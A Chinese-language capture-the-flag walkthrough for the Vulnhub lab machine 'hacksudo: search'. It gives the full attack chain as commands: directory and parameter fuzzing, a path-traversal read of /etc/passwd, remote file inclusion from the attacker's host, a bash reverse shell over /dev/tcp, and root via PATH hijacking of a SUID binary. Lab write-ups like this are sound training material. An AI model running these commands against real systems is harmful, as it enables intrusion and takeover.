首页 > 其他分享 >Vulnhub: hacksudo: search靶机

Vulnhub: hacksudo: search靶机

时间:2023-07-30 19:34:09浏览次数:37  
标签:search http .. hacksudo 111.170 192.168 Vulnhub php

kali:192.168.111.111

靶机:192.168.111.170

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.170

image

80端口目录爆破

feroxbuster -k -d 1 --url http://192.168.111.170 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf -t 1 -C 404,500

image

查看search1.php源码

image

漏洞利用

猜测该页面存在文件包含,利用wfuzz爆破参数名

wfuzz -c -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/burp-parameter-names.txt --hc 404 --hh 2918 http://192.168.111.170/search1.php?FUZZ=../../../../../../../../../../../../../../etc/passwd

image

同时发现目标存在远程文件包含

http://192.168.111.170/search1.php?me=http://192.168.111.111:8000/b.php&cmd=id

image

之后执行反弹shell

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/5555 0>&1'

image

提权

/var/www/html/.env文件中发现hacksudo用户的密码

image

image

查找suid权限的文件

find / -perm -u=s 2> /dev/null

image

/home/hacksudo/search/tools/该目录下存在该程序的源码

image

发现该程序会执行install命令,修改环境变量提权

echo '/bin/bash' > /tmp/install
chmod 777 /tmp/install
export PATH=/tmp:$PATH
./searchinstall

image

flag

image

标签:search,http,..,hacksudo,111.170,192.168,Vulnhub,php
From: https://www.cnblogs.com/ctostm/p/17591864.html

相关文章

  • 【es】elasticsearch生产数据备份和恢复方案
    https://huaweicloud.csdn.net/637f7ae4dacf622b8df859b1.html?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Eactivity-2-119985243-blog-126509989.235%5Ev38%5Epc_relevant_sort&depth_1-utm_source=distr......
  • 十三、ElasticSearch和Kibana进阶--谷粒商城
    导入样本测试数据准备一份顾客银行账户信息的虚构的JSON文档样本。每个文档都有下列的schema(模式)。{"account_number":1,"balance":39225,"firstname":"Amber","lastname":"Duke","age":32,"gen......
  • 算法编程中的Word 四兄弟 Word Break , Word Ladder, Word Search, Word Pattern
    Word四兄弟WordBreak,WordLadder,WordSearch,WordPattern,太容易出现了,针对性分析下。  829·字模式II算法困难通过率47% 描述给定一个pattern和一个字符串str,查找str是否遵循相同的模式。这里遵循的意思是一个完整的匹配,在一个字母的模式和一个非空的单词str之间......
  • ElasticSearch——使用备忘
    查询GEThttp://xxxxx:9200/user_list/_search 添加模板POSThttp://xxxxx:9200/user_list/_scripts/user_list_template{"script":{"lang":"mustache","source":"{\"query\":{\"bool\":{\&qu......
  • Elastic Search 安装部署最全教程(Docker)
    @@dockeres安装https://blog.csdn.net/Grey_fantasy/article/details/131561847 https://blog.csdn.net/qq_33034733/article/details/130857381 https://blog.csdn.net/yueyue763184/article/details/128138329 ElasticSearch安装部署最全教程(Docker)一、部......
  • fluent elasticsearch6 fluent-plugin-elasticsearch install
    一、安装fluent-plugin-elasticsearch编写DockerfileFROMfluent/fluentd:v1.12.0-debian-1.0USERrootRUNgemuninstall-Ielasticsearch&&geminstallelasticsearch-v6.8.0RUN["gem","install","fluent-plugin-elasticsearch&qu......
  • docker search 显示 版本
    Docker搜索镜像并显示版本Docker是一种流行的容器化平台,可以帮助开发人员和运维团队更轻松地构建、发布和管理应用程序。其中一个重要的功能是能够搜索并获取镜像的版本信息。本文将介绍如何使用dockersearch命令来搜索并显示Docker镜像的版本信息。Docker搜索命令dockersearc......
  • Docker安装部署ElasticSearch
    参考文档:https://blog.csdn.net/qq_37726813/article/details/129917352https://blog.csdn.net/yangkei/article/details/126837326https://blog.csdn.net/yangkei/article/details/1268373261.部署单点ElasticSearch因为我们还需要部署kibana容器,因此需要让ElasticSearch和......
  • 学好Elasticsearch系列-索引的CRUD
    本文已收录至Github,推荐阅读......
  • 学好Elasticsearch系列-核心概念
    本文已收录至Github,推荐阅读......